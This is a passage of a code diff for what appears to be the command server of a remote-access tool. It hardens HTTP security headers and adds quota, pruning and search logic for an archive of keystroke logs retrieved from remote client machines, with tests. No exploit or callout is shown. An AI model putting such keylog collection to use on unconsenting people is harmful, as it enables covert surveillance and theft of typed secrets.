+++ b/Overlord-Server/src/server/http-dispatch.ts
@@ -1,10 +1,12 @@
import { wrapServerWithClientIp, type RequestServerLike } from "./client-ip";
import { consumeUnauthorizedRateLimit } from "../rateLimit";
+import { rejectUnsafeCrossOriginRequest } from "./request-origin";
export type RouteHandler = (req: Request, url: URL, server: unknown) => Promise;
const UUID_SEGMENT = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
const LONG_ID_SEGMENT = /^[0-9a-f]{16,}$/i;
+export const MAX_HTTP_METRIC_ROUTE_LENGTH = 1_024;
function tooManyRequestsResponse(retryAfter = 60): Response {
return new Response("Too many requests", {
@@ -30,7 +32,7 @@ export function normalizeHttpRoute(req: Request, url: URL): string {
.filter(Boolean)
.map(normalizeRouteSegment)
.join("/");
- return `${req.method.toUpperCase()} /${path}`;
+ return `${req.method.toUpperCase()} /${path}`.slice(0, MAX_HTTP_METRIC_ROUTE_LENGTH);
}
export function createHttpFetchHandler(deps: {
@@ -45,6 +47,8 @@ export function createHttpFetchHandler(deps: {
if (req.method === "OPTIONS") {
return new Response("", { headers: deps.CORS_HEADERS });
}
+ const originDenied = rejectUnsafeCrossOriginRequest(req, url);
+ if (originDenied) return originDenied;
const wrapped = wrapServerWithClientIp(server as RequestServerLike);
const ip = wrapped.requestIP(req)?.address || "unknown";
diff --git a/Overlord-Server/src/server/http-security.test.ts b/Overlord-Server/src/server/http-security.test.ts
index 7080ba1..4f9287d 100644
--- a/Overlord-Server/src/server/http-security.test.ts
+++ b/Overlord-Server/src/server/http-security.test.ts
@@ -2,17 +2,9 @@ import { describe, expect, test } from "bun:test";
import { CORS_HEADERS, SECURITY_HEADERS } from "./http-security";
describe("CORS_HEADERS", () => {
- test("has restrictive Access-Control-Allow-Origin", () => {
+ test("preserves legacy sandboxed-document GET compatibility without credentials", () => {
expect(CORS_HEADERS["Access-Control-Allow-Origin"]).toBe("null");
- });
-
- test("limits allowed methods", () => {
- expect(CORS_HEADERS["Access-Control-Allow-Methods"]).toContain("GET");
- expect(CORS_HEADERS["Access-Control-Allow-Methods"]).toContain("OPTIONS");
- });
-
- test("allows Content-Type header", () => {
- expect(CORS_HEADERS["Access-Control-Allow-Headers"]).toContain("Content-Type");
+ expect(CORS_HEADERS).not.toHaveProperty("Access-Control-Allow-Credentials");
});
});
@@ -22,6 +14,9 @@ describe("SECURITY_HEADERS", () => {
expect(csp).toContain("default-src 'self'");
expect(csp).toContain("script-src 'self'");
expect(csp).toContain("font-src 'self' data:");
+ expect(csp).toContain("base-uri 'none'");
+ expect(csp).toContain("form-action 'self'");
+ expect(csp).toContain("object-src blob:");
expect(csp).toContain("frame-ancestors 'none'");
});
@@ -33,8 +28,8 @@ describe("SECURITY_HEADERS", () => {
expect(SECURITY_HEADERS["X-Frame-Options"]).toBe("DENY");
});
- test("enables XSS protection", () => {
- expect(SECURITY_HEADERS["X-XSS-Protection"]).toBe("1; mode=block");
+ test("disables the obsolete browser XSS auditor", () => {
+ expect(SECURITY_HEADERS["X-XSS-Protection"]).toBe("0");
});
test("sets strict referrer policy", () => {
diff --git a/Overlord-Server/src/server/http-security.ts b/Overlord-Server/src/server/http-security.ts
index bdaaf4a..0f5a644 100644
--- a/Overlord-Server/src/server/http-security.ts
+++ b/Overlord-Server/src/server/http-security.ts
@@ -1,3 +1,5 @@
+// The operator UI and API are same-origin. Omitting CORS opt-in headers is
+// stricter than allowing the special `null` origin used by sandboxed documents.
export const CORS_HEADERS = {
"Access-Control-Allow-Origin": "null",
"Access-Control-Allow-Methods": "GET,OPTIONS",
@@ -5,10 +7,10 @@ export const CORS_HEADERS = {
};
export const SECURITY_HEADERS = {
- "Content-Security-Policy": "default-src 'self'; script-src 'self'; worker-src 'self' blob:; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https://cdn.discordapp.com https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' data:; connect-src 'self'; object-src blob:; frame-ancestors 'none'",
+ "Content-Security-Policy": "default-src 'self'; base-uri 'none'; form-action 'self'; script-src 'self'; worker-src 'self' blob:; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https://cdn.discordapp.com https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' data:; connect-src 'self'; object-src blob:; frame-src 'self'; frame-ancestors 'none'",
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
- "X-XSS-Protection": "1; mode=block",
+ "X-XSS-Protection": "0",
"Referrer-Policy": "strict-origin-when-cross-origin",
"Strict-Transport-Security": "max-age=63072000; includeSubDomains",
"Permissions-Policy": "camera=(), geolocation=(), payment=()",
diff --git a/Overlord-Server/src/server/keylog-archive-storage.test.ts b/Overlord-Server/src/server/keylog-archive-storage.test.ts
new file mode 100644
index 0000000..c15b781
--- /dev/null
+++ b/Overlord-Server/src/server/keylog-archive-storage.test.ts
@@ -0,0 +1,305 @@
+import { describe, expect, test } from "bun:test";
+import Database from "bun:sqlite";
+import {
+ createKeylogArchiveWriter,
+ type KeylogArchiveQuotaLimits,
+ type KeylogArchiveRecord,
+} from "./keylog-archive";
+
+const generousLimits: KeylogArchiveQuotaLimits = {
+ perClientFiles: 100,
+ perClientBytes: 1024 * 1024,
+ globalFiles: 1_000,
+ globalBytes: 16 * 1024 * 1024,
+};
+
+function createHarness(limits: KeylogArchiveQuotaLimits = generousLimits) {
+ const database = new Database(":memory:");
+ database.exec(`
+ CREATE TABLE keylog_archive_files (
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
+ client_id TEXT NOT NULL,
+ filename TEXT NOT NULL,
+ size INTEGER NOT NULL DEFAULT 0,
+ modified_at INTEGER,
+ retrieved_at INTEGER NOT NULL,
+ content TEXT NOT NULL DEFAULT '',
+ UNIQUE(client_id, filename)
+ );
+ CREATE VIRTUAL TABLE keylog_archive_fts USING fts5(
+ file_id UNINDEXED,
+ client_id UNINDEXED,
+ filename,
+ content,
+ tokenize = 'unicode61'
+ );
+ `);
+ return {
+ database,
+ save: createKeylogArchiveWriter(database as any, () => limits),
+ };
+}
+
+function record(
+ clientId: string,
+ filename: string,
+ retrievedAt: number,
+ content: string,
+): KeylogArchiveRecord {
+ return {
+ clientId,
+ filename,
+ size: Buffer.byteLength(content, "utf8"),
+ modifiedAt: retrievedAt,
+ retrievedAt,
+ content,
+ };
+}
+
+describe("keylog archive aggregate quotas", () => {
+ test("prunes the oldest fleet rows and their FTS entries at the global count cap", () => {
+ const { database, save } = createHarness({ ...generousLimits, globalFiles: 2 });
+ try {
+ expect(save(record("client-a", "a.log", 1, "alpha secret"))).toBe(true);
+ expect(save(record("client-b", "b.log", 2, "bravo secret"))).toBe(true);
+ expect(save(record("client-c", "c.log", 3, "charlie secret"))).toBe(true);
+
+ expect(database.query(
+ "SELECT client_id FROM keylog_archive_files ORDER BY retrieved_at",
+ ).all()).toEqual([{ client_id: "client-b" }, { client_id: "client-c" }]);
+ expect(database.query(
+ "SELECT client_id FROM keylog_archive_fts ORDER BY rowid",
+ ).all()).toEqual([{ client_id: "client-b" }, { client_id: "client-c" }]);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM keylog_archive_fts WHERE keylog_archive_fts MATCH 'alpha'",
+ ).get() as { count: number }).count).toBe(0);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("prunes enough oldest rows to satisfy the aggregate byte cap", () => {
+ const { database, save } = createHarness({ ...generousLimits, globalBytes: 10 });
+ try {
+ expect(save(record("client-a", "a.log", 1, "aaaa"))).toBe(true);
+ expect(save(record("client-b", "b.log", 2, "bbbb"))).toBe(true);
+ expect(save(record("client-c", "c.log", 3, "ccccccc"))).toBe(true);
+
+ expect(database.query(
+ "SELECT client_id, size FROM keylog_archive_files ORDER BY retrieved_at",
+ ).all()).toEqual([{ client_id: "client-c", size: 7 }]);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM keylog_archive_fts",
+ ).get() as { count: number }).count).toBe(1);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("prunes the oldest per-client row even when aggregate capacity remains", () => {
+ const { database, save } = createHarness({ ...generousLimits, perClientFiles: 1 });
+ try {
+ expect(save(record("client-a", "a.log", 1, "alpha"))).toBe(true);
+ expect(save(record("client-a", "b.log", 2, "bravo"))).toBe(true);
+ expect(save(record("client-b", "c.log", 3, "charlie"))).toBe(true);
+
+ expect(database.query(
+ "SELECT client_id, filename FROM keylog_archive_files ORDER BY id",
+ ).all()).toEqual([
+ { client_id: "client-a", filename: "b.log" },
+ { client_id: "client-b", filename: "c.log" },
+ ]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("accounts legacy rows by actual UTF-8 content and normalizes a replacement size", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ perClientBytes: 5,
+ });
+ try {
+ database.run(
+ `INSERT INTO keylog_archive_files
+ (client_id, filename, size, modified_at, retrieved_at, content)
+ VALUES (?, ?, ?, ?, ?, ?)`,
+ ["client-a", "legacy.log", 0, 1, 1, "12345678"],
+ );
+
+ expect(save(record("client-a", "legacy.log", 2, "four"))).toBe(true);
+ expect(database.query(
+ `SELECT size, LENGTH(CAST(content AS BLOB)) AS actualBytes
+ FROM keylog_archive_files WHERE client_id='client-a' AND filename='legacy.log'`,
+ ).get()).toEqual({ size: 4, actualBytes: 4 });
+ } finally {
+ database.close();
+ }
+ });
+
+ test("prunes legacy rows using actual content bytes instead of advertised size", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ globalBytes: 10,
+ });
+ try {
+ database.run(
+ `INSERT INTO keylog_archive_files
+ (client_id, filename, size, modified_at, retrieved_at, content)
+ VALUES (?, ?, ?, ?, ?, ?)`,
+ ["legacy-client", "legacy.log", 0, 1, 1, "12345678"],
+ );
+
+ expect(save(record("new-client", "new.log", 2, "abcdef"))).toBe(true);
+ expect(database.query(
+ "SELECT client_id, filename, size FROM keylog_archive_files",
+ ).all()).toEqual([{ client_id: "new-client", filename: "new.log", size: 6 }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("converges a legacy per-client overage while protecting its replacement and FTS row", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ perClientFiles: 1,
+ globalFiles: 10_000,
+ });
+ try {
+ const insert = database.prepare(
+ `INSERT INTO keylog_archive_files
+ (client_id, filename, size, modified_at, retrieved_at, content)
+ VALUES (?, ?, ?, ?, ?, ?)`,
+ );
+ const insertFts = database.prepare(
+ `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
+ VALUES (?, ?, ?, ?, ?)`,
+ );
+ database.transaction(() => {
+ const protectedResult = insert.run(
+ "client-a",
+ "protected.log",
+ 0,
+ 0,
+ 0,
+ "protected old",
+ );
+ const protectedId = Number(protectedResult.lastInsertRowid);
+ insertFts.run(
+ protectedId,
+ protectedId,
+ "client-a",
+ "protected.log",
+ "protected old",
+ );
+ for (let i = 0; i < 5_001; i += 1) {
+ const result = insert.run("client-a", `${i}.log`, 1, i + 1, i + 1, "x");
+ if (i === 0 || i === 5_000) {
+ const id = Number(result.lastInsertRowid);
+ insertFts.run(id, id, "client-a", `${i}.log`, "x");
+ }
+ }
+ })();
+
+ const replacement = record("client-a", "protected.log", 10_000, "protected new");
+ expect(save(replacement)).toBe(false);
+ expect(database.query(
+ "SELECT filename, content FROM keylog_archive_files ORDER BY retrieved_at",
+ ).all()).toEqual([
+ { filename: "protected.log", content: "protected old" },
+ { filename: "5000.log", content: "x" },
+ ]);
+ expect(database.query(
+ "SELECT filename, content FROM keylog_archive_fts ORDER BY rowid",
+ ).all()).toEqual([
+ { filename: "protected.log", content: "protected old" },
+ { filename: "5000.log", content: "x" },
+ ]);
+
+ expect(save(replacement)).toBe(true);
+ expect(database.query(
+ "SELECT filename, size, content FROM keylog_archive_files",
+ ).all()).toEqual([{
+ filename: "protected.log",
+ size: Buffer.byteLength("protected new", "utf8"),
+ content: "protected new",
+ }]);
+ expect(database.query(
+ "SELECT filename, content FROM keylog_archive_fts",
+ ).all()).toEqual([{ filename: "protected.log", content: "protected new" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("commits one bounded cleanup batch when a legacy overage cannot yet admit the new row", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ perClientFiles: 10_000,
+ globalFiles: 1,
+ });
+ try {
+ const insert = database.prepare(
+ `INSERT INTO keylog_archive_files
+ (client_id, filename, size, modified_at, retrieved_at, content)
+ VALUES (?, ?, ?, ?, ?, ?)`,
+ );
+ const insertFts = database.prepare(
+ `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
+ VALUES (?, ?, ?, ?, ?)`,
+ );
+ database.transaction(() => {
+ for (let i = 0; i < 5_002; i += 1) {
+ const result = insert.run(`legacy-${i}`, `${i}.log`, 1, i, i, "x");
+ if (i === 0 || i === 5_001) {
+ const id = Number(result.lastInsertRowid);
+ insertFts.run(id, id, `legacy-${i}`, `${i}.log`, "x");
+ }
+ }
+ })();
+
+ const incoming = record("new-client", "new.log", 10_000, "new");
+ expect(save(incoming)).toBe(false);
+ expect(database.query(
+ "SELECT client_id FROM keylog_archive_files ORDER BY retrieved_at",
+ ).all()).toEqual([{ client_id: "legacy-5000" }, { client_id: "legacy-5001" }]);
+ expect(database.query(
+ "SELECT client_id FROM keylog_archive_fts",
+ ).all()).toEqual([{ client_id: "legacy-5001" }]);
+
+ expect(save(incoming)).toBe(true);
+ expect(database.query(
+ "SELECT client_id, filename FROM keylog_archive_files",
+ ).all()).toEqual([{ client_id: "new-client", filename: "new.log" }]);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM keylog_archive_fts",
+ ).get() as { count: number }).count).toBe(1);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("rolls back quota pruning and FTS deletion when the replacement write fails", () => {
+ const { database, save } = createHarness({ ...generousLimits, globalFiles: 1 });
+ try {
+ expect(save(record("client-a", "old.log", 1, "old searchable text"))).toBe(true);
+ database.exec(`
+ CREATE TRIGGER reject_new_archive BEFORE INSERT ON keylog_archive_files
+ WHEN new.filename = 'new.log'
+ BEGIN
+ SELECT RAISE(ABORT, 'injected failure');
+ END;
+ `);
+
+ expect(() => save(record("client-b", "new.log", 2, "new text"))).toThrow();
+ expect(database.query(
+ "SELECT client_id, filename FROM keylog_archive_files",
+ ).all()).toEqual([{ client_id: "client-a", filename: "old.log" }]);
+ expect(database.query(
+ "SELECT client_id, filename FROM keylog_archive_fts",
+ ).all()).toEqual([{ client_id: "client-a", filename: "old.log" }]);
+ } finally {
+ database.close();
+ }
+ });
+});
diff --git a/Overlord-Server/src/server/keylog-archive.ts b/Overlord-Server/src/server/keylog-archive.ts
index 8cc90a7..a082fd0 100644
--- a/Overlord-Server/src/server/keylog-archive.ts
+++ b/Overlord-Server/src/server/keylog-archive.ts
@@ -1,5 +1,5 @@
import type { ServerWebSocket } from "bun";
-import { db } from "../db/connection";
+import { db, type TypedDatabase } from "../db/connection";
import { getConfig } from "../config";
import { logger } from "../logger";
import { encodeMessage } from "../protocol";
@@ -13,8 +13,310 @@ type KeylogFileMeta = {
modifiedAt: number | null;
};
-const pendingFileMeta = new Map>();
+type PendingArchiveFiles = {
+ files: Map;
+ expiresAt: number;
+};
+
+const pendingFileMeta = new Map();
+const archiveMessageRates = new Map();
const MAX_RETRIEVES_PER_LIST = 25;
+const MAX_FILES_PER_LIST = 100_000;
+const MAX_KEYLOG_FILENAME_LENGTH = 255;
+const MAX_ARCHIVE_FILES_PER_CLIENT = 100_000;
+const MAX_ARCHIVE_BYTES_PER_CLIENT = 10 * 1024 * 1024 * 1024;
+const DEFAULT_MAX_ARCHIVE_FILES_GLOBAL = 1_000_000;
+const DEFAULT_MAX_ARCHIVE_BYTES_GLOBAL = 64 * 1024 * 1024 * 1024;
+const MAX_ARCHIVE_ROWS_PRUNED_PER_SAVE = 5_000;
+const KEYLOG_CONTENT_BYTES_SQL = "COALESCE(LENGTH(CAST(content AS BLOB)), 0)";
+const PENDING_ARCHIVE_TTL_MS = 5 * 60_000;
+const MAX_PENDING_ARCHIVE_CLIENTS = 5_000;
+
+export type KeylogArchiveQuotaLimits = {
+ perClientFiles: number;
+ perClientBytes: number;
+ globalFiles: number;
+ globalBytes: number;
+};
+
+export type KeylogArchiveRecord = {
+ clientId: string;
+ filename: string;
+ size: number;
+ modifiedAt: number | null;
+ retrievedAt: number;
+ content: string;
+};
+
+function positiveArchiveLimit(name: string, fallback: number, maximum: number): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isSafeInteger(parsed) || parsed <= 0) return fallback;
+ return Math.min(parsed, maximum);
+}
+
+function getKeylogArchiveQuotaLimits(): KeylogArchiveQuotaLimits {
+ return {
+ perClientFiles: MAX_ARCHIVE_FILES_PER_CLIENT,
+ perClientBytes: MAX_ARCHIVE_BYTES_PER_CLIENT,
+ globalFiles: positiveArchiveLimit(
+ "OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES",
+ DEFAULT_MAX_ARCHIVE_FILES_GLOBAL,
+ 1_000_000,
+ ),
+ globalBytes: positiveArchiveLimit(
+ "OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES",
+ DEFAULT_MAX_ARCHIVE_BYTES_GLOBAL,
+ 64 * 1024 * 1024 * 1024,
+ ),
+ };
+}
+
+function deleteArchivedKeylogRows(
+ database: TypedDatabase,
+ ids: number[],
+): void {
+ if (ids.length === 0) return;
+ const deleteFile = database.prepare("DELETE FROM keylog_archive_files WHERE id = ?");
+ let deleteFts: { run(...params: any[]): unknown } | null = null;
+ try {
+ deleteFts = database.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?");
+ } catch {
+ // FTS5 is optional on SQLite builds that do not provide it.
+ }
+ for (const id of ids) {
+ deleteFts?.run(id);
+ deleteFile.run(id);
+ }
+}
+
+function replaceArchivedKeylogFts(
+ database: TypedDatabase,
+ row: { id: number; client_id: string; filename: string; content: string },
+): void {
+ try {
+ database.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id);
+ database.prepare(
+ `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
+ VALUES (?, ?, ?, ?, ?)`,
+ ).run(row.id, row.id, row.client_id, row.filename, row.content);
+ } catch {
+ // The archive remains usable without full-text search. Search already has
+ // a bounded LIKE fallback for SQLite builds without FTS5.
+ }
+}
+
+type ArchivedKeylogQuotaRow = { id: number; bytes: number };
+type ArchivedKeylogQuotaTotals = { files: number; bytes: number };
+
+function getArchivedKeylogQuotaTotals(
+ database: TypedDatabase,
+ clientId: string | null,
+): ArchivedKeylogQuotaTotals {
+ const row = clientId === null
+ ? database.prepare(
+ `SELECT COUNT(*) AS files, COALESCE(SUM(${KEYLOG_CONTENT_BYTES_SQL}), 0) AS bytes
+ FROM keylog_archive_files`,
+ ).get()
+ : database.prepare(
+ `SELECT COUNT(*) AS files, COALESCE(SUM(${KEYLOG_CONTENT_BYTES_SQL}), 0) AS bytes
+ FROM keylog_archive_files WHERE client_id = ?`,
+ ).get(clientId);
+ return row as ArchivedKeylogQuotaTotals;
+}
+
+function archivedKeylogScopeFits(
+ database: TypedDatabase,
+ clientId: string | null,
+ projectedFilesDelta: number,
+ projectedBytesDelta: number,
+ maxFiles: number,
+ maxBytes: number,
+): boolean {
+ const totals = getArchivedKeylogQuotaTotals(database, clientId);
+ return Number(totals.files || 0) + projectedFilesDelta <= maxFiles
+ && Number(totals.bytes || 0) + projectedBytesDelta <= maxBytes;
+}
+
+function pruneArchivedKeylogScope(
+ database: TypedDatabase,
+ clientId: string | null,
+ protectedId: number | null,
+ projectedFilesDelta: number,
+ projectedBytesDelta: number,
+ maxFiles: number,
+ maxBytes: number,
+): boolean {
+ const totals = getArchivedKeylogQuotaTotals(database, clientId);
+ let files = Number(totals.files || 0) + projectedFilesDelta;
+ let bytes = Number(totals.bytes || 0) + projectedBytesDelta;
+ if (files <= maxFiles && bytes <= maxBytes) return true;
+
+ const clauses: string[] = [];
+ const params: Array = [];
+ if (clientId !== null) {
+ clauses.push("client_id = ?");
+ params.push(clientId);
+ }
+ if (protectedId !== null) {
+ clauses.push("id <> ?");
+ params.push(protectedId);
+ }
+ const where = clauses.length > 0 ? `WHERE ${clauses.join(" AND ")}` : "";
+ const candidates = database.prepare(
+ `SELECT id, ${KEYLOG_CONTENT_BYTES_SQL} AS bytes
+ FROM keylog_archive_files
+ ${where}
+ ORDER BY retrieved_at ASC, id ASC
+ LIMIT ?`,
+ ).all(...params, MAX_ARCHIVE_ROWS_PRUNED_PER_SAVE) as ArchivedKeylogQuotaRow[];
+
+ const pruneIds: number[] = [];
+ for (const candidate of candidates) {
+ pruneIds.push(candidate.id);
+ files -= 1;
+ bytes -= Number(candidate.bytes || 0);
+ if (files <= maxFiles && bytes <= maxBytes) break;
+ }
+
+ // Persist a bounded reconciliation batch even if admitting the incoming row
+ // will require another pass. The incoming/protected row is not mutated.
+ deleteArchivedKeylogRows(database, pruneIds);
+ return files <= maxFiles && bytes <= maxBytes;
+}
+
+/**
+ * Build the archive writer separately so quota, pruning, and FTS consistency
+ * can be regression-tested against an isolated SQLite database.
+ */
+export function createKeylogArchiveWriter(
+ database: TypedDatabase,
+ quotaProvider: () => KeylogArchiveQuotaLimits = getKeylogArchiveQuotaLimits,
+): (record: KeylogArchiveRecord) => boolean {
+ const transaction = database.transaction((record: KeylogArchiveRecord): boolean => {
+ const limits = quotaProvider();
+ const contentBytes = typeof record.content === "string"
+ ? Buffer.byteLength(record.content, "utf8")
+ : -1;
+ if (
+ typeof record.clientId !== "string"
+ || record.clientId.length === 0
+ || record.clientId.length > 128
+ || typeof record.filename !== "string"
+ || record.filename.length === 0
+ || record.filename.length > MAX_KEYLOG_FILENAME_LENGTH
+ || !Number.isSafeInteger(record.size)
+ || record.size < 0
+ || record.size !== contentBytes
+ || limits.perClientFiles <= 0
+ || limits.perClientBytes <= 0
+ || limits.globalFiles <= 0
+ || limits.globalBytes <= 0
+ || record.size > limits.perClientBytes
+ || record.size > limits.globalBytes
+ ) return false;
+
+ const old = database.prepare(
+ `SELECT id, ${KEYLOG_CONTENT_BYTES_SQL} AS bytes
+ FROM keylog_archive_files WHERE client_id = ? AND filename = ?`,
+ ).get(record.clientId, record.filename) as { id: number; bytes: number } | undefined;
+ const projectedFilesDelta = old ? 0 : 1;
+ const projectedBytesDelta = record.size - Number(old?.bytes || 0);
+ let perClientSatisfied = pruneArchivedKeylogScope(
+ database,
+ record.clientId,
+ old?.id ?? null,
+ projectedFilesDelta,
+ projectedBytesDelta,
+ limits.perClientFiles,
+ limits.perClientBytes,
+ );
+ const globalSatisfied = pruneArchivedKeylogScope(
+ database,
+ null,
+ old?.id ?? null,
+ projectedFilesDelta,
+ projectedBytesDelta,
+ limits.globalFiles,
+ limits.globalBytes,
+ );
+ if (!perClientSatisfied && globalSatisfied) {
+ // Fleet pruning may also have removed rows from this client, so use the
+ // post-global state rather than conservatively requiring another write.
+ perClientSatisfied = archivedKeylogScopeFits(
+ database,
+ record.clientId,
+ projectedFilesDelta,
+ projectedBytesDelta,
+ limits.perClientFiles,
+ limits.perClientBytes,
+ );
+ }
+ if (!perClientSatisfied || !globalSatisfied) return false;
+
+ database.prepare(
+ `INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content)
+ VALUES (?, ?, ?, ?, ?, ?)
+ ON CONFLICT(client_id, filename) DO UPDATE SET
+ size = excluded.size,
+ modified_at = excluded.modified_at,
+ retrieved_at = excluded.retrieved_at,
+ content = excluded.content`,
+ ).run(
+ record.clientId,
+ record.filename,
+ record.size,
+ record.modifiedAt,
+ record.retrievedAt,
+ record.content,
+ );
+ const stored = database.prepare(
+ "SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?",
+ ).get(record.clientId, record.filename) as {
+ id: number;
+ client_id: string;
+ filename: string;
+ content: string;
+ } | undefined;
+ if (!stored) throw new Error("keylog archive write did not persist a row");
+ replaceArchivedKeylogFts(database, stored);
+ return true;
+ });
+
+ return transaction;
+}
+
+const storeArchivedKeylog = createKeylogArchiveWriter(db);
+
+function consumeArchiveMessageRate(clientId: string, kind: "list" | "content"): boolean {
+ const now = Date.now();
+ const windowMs = 60_000;
+ const max = kind === "list" ? 6 : 60;
+ const key = `${clientId}:${kind}`;
+ let state = archiveMessageRates.get(key);
+ if (!state || now - state.windowStart >= windowMs) {
+ state = { windowStart: now, count: 0 };
+ }
+ state.count += 1;
+ archiveMessageRates.set(key, state);
+ if (archiveMessageRates.size > 10_000) {
+ for (const [rateKey, entry] of archiveMessageRates) {
+ if (now - entry.windowStart >= windowMs * 2) archiveMessageRates.delete(rateKey);
+ }
+ }
+ return state.count <= max;
+}
+
+function setPendingFiles(clientId: string, files: Map): void {
+ const now = Date.now();
+ for (const [pendingClientId, entry] of pendingFileMeta) {
+ if (entry.expiresAt <= now) pendingFileMeta.delete(pendingClientId);
+ }
+ if (!pendingFileMeta.has(clientId) && pendingFileMeta.size >= MAX_PENDING_ARCHIVE_CLIENTS) {
+ const oldest = pendingFileMeta.keys().next().value as string | undefined;
+ if (oldest) pendingFileMeta.delete(oldest);
+ }
+ pendingFileMeta.set(clientId, { files, expiresAt: now + PENDING_ARCHIVE_TTL_MS });
+}
function rot13(str: string): string {
return String(str || "").replace(/[a-zA-Z]/g, (char) => {
@@ -25,9 +327,18 @@ function rot13(str: string): string {
function normalizeMeta(file: any): KeylogFileMeta | null {
const name = typeof file?.name === "string" ? file.name.trim() : "";
- if (!name || name.includes("/") || name.includes("\\")) return null;
- const size = Math.max(0, Math.floor(Number(file?.size) || 0));
- const date = typeof file?.date === "string" ? file.date : "";
+ if (
+ !name ||
+ name.length > MAX_KEYLOG_FILENAME_LENGTH ||
+ name === "." ||
+ name === ".." ||
+ name.includes("/") ||
+ name.includes("\\")
+ ) return null;
+ const rawSize = Number(file?.size);
+ if (!Number.isSafeInteger(rawSize) || rawSize < 0) return null;
+ const size = rawSize;
+ const date = typeof file?.date === "string" ? file.date.slice(0, 64) : "";
const parsed = date ? Date.parse(date) : NaN;
return {
name,
@@ -37,8 +348,16 @@ function normalizeMeta(file: any): KeylogFileMeta | null {
};
}
-function getPendingMeta(clientId: string, filename: string): KeylogFileMeta | null {
- return pendingFileMeta.get(clientId)?.get(filename) ?? null;
+function takePendingMeta(clientId: string, filename: string): KeylogFileMeta | null {
+ const pending = pendingFileMeta.get(clientId);
+ if (!pending || pending.expiresAt <= Date.now()) {
+ pendingFileMeta.delete(clientId);
+ return null;
+ }
+ const meta = pending.files.get(filename) ?? null;
+ pending.files.delete(filename);
+ if (pending.files.size === 0) pendingFileMeta.delete(clientId);
+ return meta;
}
function shouldArchiveForClient(clientId: string): boolean {
@@ -58,41 +377,37 @@ function buildFtsQuery(query: string): string {
.join(" ");
}
-function rebuildArchiveFts(row: { id: number; client_id: string; filename: string; content: string }): void {
- try {
- db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id);
- db.prepare(
- `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
- VALUES (?, ?, ?, ?, ?)`,
- ).run(row.id, row.id, row.client_id, row.filename, row.content);
- } catch (err) {
- logger.warn(`[keylog-archive] failed to update FTS for ${row.client_id}/${row.filename}: ${(err as Error).message}`);
- }
-}
-
-export function archiveKeylogContent(clientId: string, filename: string, encodedContent: string, meta?: KeylogFileMeta | null): void {
+function archiveKeylogContent(clientId: string, filename: string, encodedContent: string): void {
if (!shouldArchiveForClient(clientId)) return;
- const safeMeta = meta ?? getPendingMeta(clientId, filename);
+ const normalized = normalizeMeta({ name: filename, size: 0, date: "" });
+ if (!normalized || normalized.name !== filename) return;
+ const safeMeta = takePendingMeta(clientId, filename);
+ if (!safeMeta) {
+ logger.warn(`[keylog-archive] ignored unsolicited content for ${clientId}/${filename}`);
+ return;
+ }
+ const maxFileBytes = Math.max(1, getConfig().inputArchive.maxFileBytes);
+ const encodedBytes = Buffer.byteLength(encodedContent, "utf8");
+ if (safeMeta.size > maxFileBytes || encodedBytes > maxFileBytes) {
+ logger.warn(`[keylog-archive] rejected oversized content for ${clientId}/${filename}`);
+ return;
+ }
const decoded = rot13(String(encodedContent || ""));
const now = Date.now();
- const size = safeMeta?.size ?? encodedContent.length;
- const modifiedAt = safeMeta?.modifiedAt ?? null;
+ const size = encodedBytes;
+ const modifiedAt = safeMeta.modifiedAt;
- db.prepare(
- `INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content)
- VALUES (?, ?, ?, ?, ?, ?)
- ON CONFLICT(client_id, filename) DO UPDATE SET
- size = excluded.size,
- modified_at = excluded.modified_at,
- retrieved_at = excluded.retrieved_at,
- content = excluded.content`,
- ).run(clientId, filename, size, modifiedAt, now, decoded);
-
- const row = db
- .prepare("SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
- .get(clientId, filename) as { id: number; client_id: string; filename: string; content: string } | undefined;
- if (row) rebuildArchiveFts(row);
- pendingFileMeta.get(clientId)?.delete(filename);
+ if (!storeArchivedKeylog({
+ clientId,
+ filename,
+ size,
+ modifiedAt,
+ retrievedAt: now,
+ content: decoded,
+ })) {
+ logger.warn(`[keylog-archive] rejected ${clientId}/${filename}: archive quota exceeded`);
+ return;
+ }
}
export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: ServerWebSocket): void {
@@ -100,26 +415,44 @@ export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?:
if (!shouldArchiveForClient(clientId)) return;
if (payload.type === "keylog_file_list") {
